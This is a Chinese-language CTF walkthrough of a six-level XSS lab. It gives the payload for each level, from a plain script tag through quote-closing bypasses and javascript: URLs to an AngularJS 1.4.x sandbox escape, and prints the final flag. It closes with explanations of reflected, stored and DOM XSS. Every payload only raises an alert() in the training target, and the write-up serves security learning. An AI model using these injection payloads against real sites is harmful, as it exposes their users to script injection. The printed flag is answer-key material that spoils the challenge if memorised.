赞
踩
该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!
该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!
- 1、搜索XSS关键词,选择web进阶---XSS闯关
- 2、启动靶机,点击链接跳转到闯关链接
- 3、使用说明:本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数
- 4、选择点我开始
- 5、第一关(无任何过滤):?username=<script>alert('xss')</script>
- 此payload它的作用是在网页中弹出一个弹窗,内容为xss。如果这段代码被注入到网站中并成功执行,就会导致XSS注入攻击
- 6、第二关(闭合绕过):?username=1';alert(1);'1
- 想用第一关的payload,发现没有任何的回显
- 查看源代码发现JS编写了一个过滤,username被escape加密
- <script type="text/javascript">
- if(location.search == ""){
- location.search = "?username=xss"
- }
- var username = '<script>alert('xss')</script>';
- document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
- </script>
- 使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号
- 7、第三关(单引号转义):?username='';alert(1);'1
- (1)还是先用之前的payload测试一遍,
- (2)发现都不行,查看源代码发现单引号被转义
- <script type="text/javascript">
- if(location.search == ""){
- location.search = "?username=xss"
- }
- var username = '1\';alert(1);'1';
- document.getElementById('ccc').innerHTML= "Welcome " + username;
- </script>
- 这段代码的作用是在用户名中插入一段JavaScript代码,并利用转义字符来绕过输入限制。最终会在页面中输出一个包含alert(1)的弹窗。这也是一种常见的XSS攻击方式,利用用户输入的内容来实现注入。
- (3)代码中发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:
- (4)'';alert(1);'1
- 8、第四关(伪链接):jumpUrl=javascript:alert(1)
- (1)这一关有点懵,页面10秒就会重定向一次,一直在循环
- (2)查看源代码:这段代码的作用是在页面中显示一个倒计时,并在倒计时结束后重定向到指定的链接。其中通过getQueryVariable函数来获取URL中的参数,并将其转义后输出到页面中
- (3)构造payload:jumpUrl=javascript:alert(1)
- (4)javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url
- 9、第五关(getQueryVariable()函数绕过):?autosubmit=1&action=javascript:alert(1)
- (1)这一关是一个表单提交,无论输入什么都会报错
- (2)查看源代码:如果出错就会执行getQueryVariable函数,不让它出错就完了
- (3)只要绕过这两个变量就可以
- getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
-
- autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
- //变量action执行getQueryVariable函数
- 10、第六关(xss模板注入):
- (1)还是一样输入之前的payload测试一下<script>alert('xss')</script>
- (2)发现没有用,查看源代码,发现不一样的一段
- (3)测试以下xss模板注入,5*6=30直接就给我算出了答案,说明存在xss模板注入的
- (4)指纹识别测试客户端JS版本
- (5)然后百度一下:https://www.nosec.org/home/detail/4153.html
- (6)确认了存在xss模板注入以后,构造payload
- (7)?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
- (8)Flag:n1book{xss_is_so_interesting}
反射性XSS又称为非持久性XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储型XSS又称为持久型XSS,攻击脚本将被永久的放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
DOM全称Document Objeect Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及样式。
DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。
Angular JS沙箱逃逸,从Angular1.6及以后版本,Angular沙箱已被删除。
验证XSS
Angular(版本小于1.6)内的典型XSS payload如下:
{{8*9}}
如果在pay;oad成功执行,结果72将会出现。
Angular(版本号v1.4.0-v1.4.9)沙箱逃逸。
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。